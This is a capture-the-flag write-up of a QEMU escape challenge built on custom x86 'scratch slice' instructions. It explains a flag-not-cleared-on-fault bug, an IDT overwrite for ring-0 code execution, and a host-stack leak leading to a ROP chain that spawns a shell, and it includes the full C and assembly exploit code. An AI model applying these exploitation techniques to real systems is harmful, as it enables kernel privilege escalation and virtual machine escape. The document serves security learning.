at offset rdi
rcx
bytes from slice at index rbx
at offset rdi
to virtual memory address rsi
rdi
and rsi
and stores the result to the slice at index rdx
There are also two instructions that deal with the virtual address base of the slices:
#
slice memory initialization {
env->scratch_config.num_active_slices = AI1337_SCRATCH_NUM_SLICES_DEFAULT;
env->scratch_config.slice_size = AI1337_SCRATCH_SLICE_SIZE_DEFAULT;
env->scratch_config.va_base = AI1337_SCRATCH_VA_BASE;
env->scratch_config.phys_base = AI1337_SCRATCH_PHYS_BASE;
env->scratch_config.access_enabled = 0;
uint16_t scratch[AI1337_SCRATCH_SIZE];
env->scratch_region = malloc(sizeof(MemoryRegion));
memset(env->scratch_region, 0, sizeof(*env->scratch_region));
memory_region_init_ram_ptr(env->scratch_region, NULL, "ai1337-scratch", AI1337_SCRATCH_SIZE, scratch);
env->scratch_region->ram_block->flags |= RAM_RESIZEABLE;
env->scratch_region->ram_block->max_length = AI1337_SCRATCH_MAX_NUM_SLICES * AI1337_SCRATCH_MAX_SLICE_SIZE;
memory_region_add_subregion(get_system_memory(), AI1337_SCRATCH_PHYS_BASE, env->scratch_region);
}
The backing memory of the slices is registered from an array declared on the stack of x86_cpu_initfn
.
#
slice prctlThere is another patch that adds a custom prctl to the linux kernel that allows unprivileged code to set the scratch base.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
From 9e4bb45f0cf64bf640b7cde987c8062b0f6040b2 Mon Sep 17 00:00:00 2001
From: sisu <contact@hxp.io>
Date: Mon, 2 Dec 2024 10:47:23 +0200
Subject: [PATCH] Add PR_SET_SCRATCH_HOLE
---
include/uapi/linux/prctl.h | 2 ++
kernel/sys.c | 23 +++++++++++++++++++++++
2 files changed, 25 insertions(+)
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 35791791a879..c370cbb3cf6d 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -328,4 +328,6 @@ struct prctl_mm_map {
# define PR_PPC_DEXCR_CTRL_CLEAR_ONEXEC 0x10 /* Clear the aspect on exec */
# define PR_PPC_DEXCR_CTRL_MASK 0x1f
+#define PR_SET_SCRATCH_HOLE 0x53534352
+
#endif /* _LINUX_PRCTL_H */
diff --git a/kernel/sys.c b/kernel/sys.c
index b7e096e1c3a1..b2736bed6058 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2326,6 +2326,26 @@ int __weak arch_prctl_spec_ctrl_set(struct task_struct *t, unsigned long which,
#define PR_IO_FLUSHER (PF_MEMALLOC_NOIO | PF_LOCAL_THROTTLE)
+static noinstr int prctl_set_scratch_hole(unsigned long opt, unsigned long addr,
+ unsigned long size, unsigned long arg)
+{
+ const u64 new_scratch_hole = opt;
+ if ((new_scratch_hole & 0xFFFUL) != 0U) {
+ return -EINVAL;
+ }
+ if (new_scratch_hole < mmap_min_addr) {
+ return -EINVAL;
+ }
+ asm volatile(
+ "mov %0, %%rdi\n\t"
+ ".byte 0x0f; .byte 0x0a; .byte 0x89\n\t" // scrhlw
+ :
+ : "r"(new_scratch_hole)
+ : "rdi", "memory"
+ );
+ return 0;
+}
+
#ifdef CONFIG_ANON_VMA_NAME
#define ANON_VMA_NAME_MAX_LEN 80
@@ -2750,6 +2770,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
case PR_SET_VMA:
error = prctl_set_vma(arg2, arg3, arg4, arg5);
break;
+ case PR_SET_SCRATCH_HOLE:
+ error = prctl_set_scratch_hole(arg2, arg3, arg4, arg5);
+ break;
case PR_GET_AUXV:
if (arg4 || arg5)
return -EINVAL;
--
2.34.1
#
initial explorationThe challenge starts as an unprivileged user inside of linux running inside qemu. The goal of the challenge is to perform whatever steps are necessary to escape qemu and read the flag on the host system.
The first obviously suspicious thing is how the backing memory for the slices is declared. The backing array has a size of AI1337_SCRATCH_SIZE
but the registered memory region has a maximum size of AI1337_SCRATCH_MAX_NUM_SLICES * AI1337_SCRATCH_MAX_SLICE_SIZE
and is set with the RAM_RESIZEABLE
flag. If we can gain ring 0 code execution to write to the slice msrs, the memory region will be resized to reflect the new slice parameters.
static bool helper_recalculate_scratch(CPUX86State *env, uint32_t new_num_slices, uint32_t new_slice_size)
{
if (new_num_slices > AI1337_SCRATCH_MAX_NUM_SLICES) {
return false;
}
if (new_slice_size > AI1337_SCRATCH_MAX_SLICE_SIZE) {
return false;
}
uint32_t new_size = new_num_slices * new_slice_size;
Error *err = NULL;
bql_lock();
memory_region_ram_resize(env->scratch_region, new_size, &err);
bql_unlock();
if (err) {
return false;
}
env->scratch_config.num_active_slices = new_num_slices;
env->scratch_config.slice_size = new_slice_size;
return true;
}
The only caveat is that we have to be running in ring 0 and we start as an unprivileged linux user in ring 3. This means that our first step must be to either escalate our privileges to root or get ring 0 code execution directly.
Looking through the rest of the slice handling code, nothing looks suspicious. All the code is performing proper bounds checks to prevent invalid use of the instructions.
#
taking a closer lookThis is the code for the STM instruction:
static void gen_stm_8(DisasContext *s, MemOp ot)
{
const size_t va_base_offset = offsetof(CPUX86State, scratch_config.va_base);
const size_t slice_size_offset = offsetof(CPUX86State, scratch_config.slice_size);
const size_t access_offset = offsetof(CPUX86State, scratch_config.access_enabled);
const TCGv slice_index = cpu_regs[R_EBX];
const TCGv offset_in_slice = cpu_regs[R_EDI];
const TCGv memory_address = cpu_regs[R_ESI];
const TCGv dshift = gen_compute_Dshift(s, ot);
tcg_gen_st_tl(tcg_constant_i64(1), tcg_env, access_offset);
// Calculate address for scratch
// A0 = offset_in_slice + slice_base + (slice_index * slice_size)
tcg_gen_ld_tl(s->A0, tcg_env, va_base_offset);
gen_lea_v_seg(s, s->A0, R_ES, -1);
tcg_gen_add_tl(s->A0, s->A0, offset_in_slice);
tcg_gen_ld32u_tl(s->tmp0, tcg_env, slice_size_offset);
tcg_gen_mul_tl(s->tmp0, s->tmp0, slice_index);
tcg_gen_add_tl(s->A0, s->A0, s->tmp0);
// Load value from scratch
gen_op_ld_v(s, MO_8, s->T0, s->A0);
// Write to memory address
gen_lea_v_seg(s, memory_address, R_DS, -1);
gen_op_st_v(s, MO_8, s->T0, s->A0);
gen_op_add_reg(s, s->aflag, R_ESI, dshift);
gen_op_add_reg(s, s->aflag, R_EDI, dshift);
tcg_gen_st_tl(tcg_constant_i64(0), tcg_env, access_offset);
}
access_enabled
flagaccess_enabled
flagThe code doesn't perform any bounds checking because it doesn't need to. As soon as an access goes out of bounds of normal slice memory the memory reads/writes will no longer be accessing slice memory and will be accessing normal memory.
There is a subtle flaw in this code. What happens when the instruction faults in the middle of performing an operation? The processor raises a general protection fault and the linux kernel catches this and generates a SIGSEGV signal to userland. But the important part is that since the instruction faulted in the middle of execution the access_enabled
flag is never cleared.
Now the processor will think that the slice memory is always enabled, effectively overriding whatever memory is at the slice virtual address base. Combined with the prctl that allows unprivileged code to change the slice virtual address base we can abuse this to override kernel memory.
Small sidenote, this vulnerability is similar to one present in x86 processors that was used to gain SMM code execution AKA ring -2. SMM is implemented very similarly to how slices are managed in this challenge. Attempting to access SMM memory normally from outside of SMM will return all 0xFFs. Once in SMM mode however reading the same memory will return their contents. The issue was that memory mapped io regions had a higher precedence than SMM code and the ACPI region could be remapped to overlap with SMM code. defcon talk black hat paper
The first thing I tried was overwriting kernel code pages with custom shellcode for ring 0 code execution. This failed and we spent some time trying to debug this. Eventually we gave up and assumed it was some tlb caching thing that was messing us our exploit. I pivoted from attacking kernel code to attacking the kernel interrupt tables. The interrupt tables are always located at a fixed virtual address in x86 which makes them an ideal target for our memory override gadget. In Linux entry 236 of the Interrupt Descriptor Table (IDT) is the APIC timer interrupt vector. By overriding this vector to point to userland shellcode and waiting a bit, the timer interrupt will trigger and transfer control to our shellcode in ring 0.
From here I wrote a qemu escape exploit in assembly. By resizing the slice memory region with the privileged msrs we gain access to a large portion of the host qemu stack. The assembly uses the giant stack window to calculate the libc base and generate a rop chain that will pop a shell when executed.
#
solve files(Sorry its a bit messy because I was in a rush during the ctf).
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <signal.h>
#include <asm/ldt.h>
#include <syscall.h>
typedef uint64_t u64;
typedef uint32_t u32;
typedef uint16_t u16;
typedef uint8_t u8;
#define PR_SET_SCRATCH (0x53534352)
#define SCRATCH_SIZE (0x8400)
#define SCRATCH_BASE (0x1337000)
typedef struct scratch_info {
uint64_t scratch_addr;
uint64_t scratch_default_size;
uint32_t scratch_max_slice_size;
uint16_t scratch_max_slice_count;
} scratch_info;
void get_scratch_info(scratch_info *info);
void load_scratch(uint64_t slice, uint64_t slice_offset, void *source, uint64_t length);
void read_scratch(uint64_t slice, uint64_t slice_offset, void *destination, uint64_t length);
void clear_scratch();
void add_slices(uint64_t slice_a, uint64_t slice_b, uint64_t slice_c);
void sub_slices(uint64_t slice_a, uint64_t slice_b, uint64_t slice_c);
void mul_slices(uint64_t slice_a, uint64_t slice_b, uint64_t slice_c);
void part2();
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
// Gather info about scratch memory
scratch_info info = {0};
get_scratch_info(&info);
printf("Scratch info:\r\n");
printf(" - scratch addr: 0x%lx\r\n", info.scratch_addr);
printf(" - scratch default size: 0x%lx bytes\r\n", info.scratch_default_size);
printf(" - scratch max slice size: 0x%x bytes\r\n", info.scratch_max_slice_size);
printf(" - scratch max slice count: %u\r\n", info.scratch_max_slice_count);
u64 buf[0x1000];
memset(buf, 0, sizeof(buf));
prctl(PR_SET_SCRATCH, SCRATCH_BASE);
signal(SIGSEGV, part2);
read_scratch(1000, 0, (void *)&buf, 1);
printf("done\r\n");
}
void p() {
char c;
printf("waiting: ");
scanf("%c", &c);
}
extern u8 ring0;
extern u64 ring0_size;
void part2() {
u64 base = 0xffffffff80000000;
u64 idt = 0xfffffe0000000000;
printf("shellcode @ %p\n", (void *)&ring0);
printf("shellcode len = %p\n", (void *)ring0_size);
char *scratch = (char *)SCRATCH_BASE;
u64 target = (u64)&ring0;
u64 *entry;
// entry = (u64 *)(scratch + 0x8000 + 0x03 * 16);
// entry[0] = 0x0000ee0000100000 | (target & 0xFFFF) | (((target >> 16) & 0xFFFF) << 48);
// entry[1] = 0;
// entry = (u64 *)(scratch + 0x8000 + 0x0e * 16);
// entry[0] = 0x0000ee0000100000 | (target & 0xFFFF) | (((target >> 16) & 0xFFFF) << 48);
// entry[1] = 0;
entry = (u64 *)(scratch + 0xec * 16);
entry[0] = 0x0000ee0000100000 | (target & 0xFFFF) | (((target >> 16) & 0xFFFF) << 48);
entry[1] = 0;
printf("faulting ring0 (%02x)\n", *&ring0);
prctl(PR_SET_SCRATCH, idt);
printf("faulting idt (%02x)\n", *((u8 *)idt));
p();
prctl(PR_SET_SCRATCH, SCRATCH_BASE);
printf("thing\n");
exit(1);
}
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255
global get_scratch_info
global load_scratch
global read_scratch
global clear_scratch
global add_slices
global sub_slices
global mul_slices
global read_scratch_base
global ring0
global ring0_size
%macro mts 0
db 0x0f, 0x0a, 0x83
%endmacro
%macro stm 0
db 0x0f, 0x0a, 0x84
%endmacro
%macro fscr 0
db 0x0f, 0x0a, 0x85
%endmacro
%macro scradd 0
db 0x0f, 0x0a, 0x86
%endmacro
%macro scrsub 0
db 0x0f, 0x0a, 0x87
%endmacro
%macro scrmul 0
db 0x0f, 0x0a, 0x88
%endmacro
%macro scrhlr 0
db 0x0f, 0x0a, 0x8a
%endmacro
%macro scrhlw 0
db 0x0f, 0x0a, 0x89
%endmacro
%macro pushall 0
push rax
push rcx
push rdx
push rbx
push rdi
push rsi
push rbp
%endmacro
%macro popall 0
pop rbp
pop rsi
pop rdi
pop rbx
pop rdx
pop rcx
pop rax
%endmacro
section .bss
marker: resq 0
scratch: times 0x100000 resq 0
section .text
ring0:
cli
push rax
push rdx
push rcx
mov rbx, 0xfffffe0000000000
invlpg [rbx]
; mov rax, 0x1337000
; call rax
mov ecx, 0xC0000106
mov eax, 128
xor edx, edx
wrmsr
mov ecx, 0xC0000105
mov eax, 0x1000
xor edx, edx
wrmsr
mov rdi, 0x1337000
scrhlw
; lea rbx, qword [marker]
; mov rax, `AAAABBBB`
; mov qword [rbx], rax
; lea rbx, qword [scratch]
; xor esi, esi
; scan:
; mov rax, qword [rdi]
; cmp rax, 0
; je .next
; mov qword [rbx], rsi
; mov qword [rbx + 8], rax
; add rbx, 16
; .next:
; add rdi, 8
; inc esi
; cmp rdi, 0x1345fb0
; jl scan
; lea rbx, [scratch]
; mov rax, 0x1337000
; call rax
; 0x1fc3 + 0x1d8
mov rax, 0x1337000
mov rdx, (0x1fc3 + 0x1d8) * 8
add rax, rdx
mov rbx, 0x1337000 + (0x0000000000001ca2) * 8
mov rbx, qword [rbx]
sub rbx, 0x203ac0
; rbx is libc base
lea rcx, [rbx + 0x000000000010f75b]
mov qword [rax], rcx
; lea rcx, [rbx + 0x2a390]
; mov qword [rax], rcx
lea rcx, [rbx + 0x1cb42f]
mov qword [rax + 8], rcx
lea rcx, [rbx + 0x000000000010f75b + 1]
mov qword [rax + 16], rcx
lea rcx, [rbx + 0x58740]
mov qword [rax + 24], rcx
syscall
; 0x1ca1
jmp $
pop rcx
pop rdx
pop rax
iretq
ring0_size: dq $ - ring0
read_scratch_base:
scrhlr
ret
get_scratch_info:
; Arguments passed to this function:
; ptr to structure containing info -> rdi
; 0..7: base
; 8..15: default size
; 16..19: slice size
; 20..21: num slices
pushall
mov rax, 0x80000022
cpuid
mov dword [rdi], edx
mov dword [rdi + 4], ebx
mov qword [rdi + 8], rax
push rcx
shr rcx, 10
mov dword [rdi + 16], ecx
pop rcx
and rcx, 0xFF
mov byte [rdi + 20], cl
popall
ret
load_scratch:
; Arguments passed to this function:
; slice -> rdi
; slice_offset -> rsi
; source -> rdx
; length -> rcx
; Move arguments to desired registers
pushall
mov rbx, rdi ; Move slice to rbx
mov rdi, rsi ; Move slice_offset to rdi
mov rsi, rdx ; Move source to rsi
mov rcx, rcx ; Length is already in rcx
mts ; load into scratch memory
popall
ret ; Return to the caller
read_scratch:
; Arguments passed to this function:
; slice -> rdi
; slice_offset -> rsi
; source -> rdx
; length -> rcx
; Move arguments to desired registers
pushall
mov rbx, rdi ; Move slice to rbx
mov rdi, rsi ; Move slice_offset to rdi
mov rsi, rdx ; Move destination to rsi
mov rcx, rcx ; Length is already in rcx
stm
popall
ret ; Return to the caller
clear_scratch:
fscr
ret
add_slices:
; Arguments passed to this function:
; slice A -> rdi
; slice B -> rsi
; slice C -> rdx
scradd
ret
sub_slices:
; Arguments passed to this function:
; slice A -> rdi
; slice B -> rsi
; slice C -> rdx
scrsub
ret
mul_slices:
; Arguments passed to this function:
; slice A -> rdi
; slice B -> rsi
; slice C -> rdx
scrmul
ret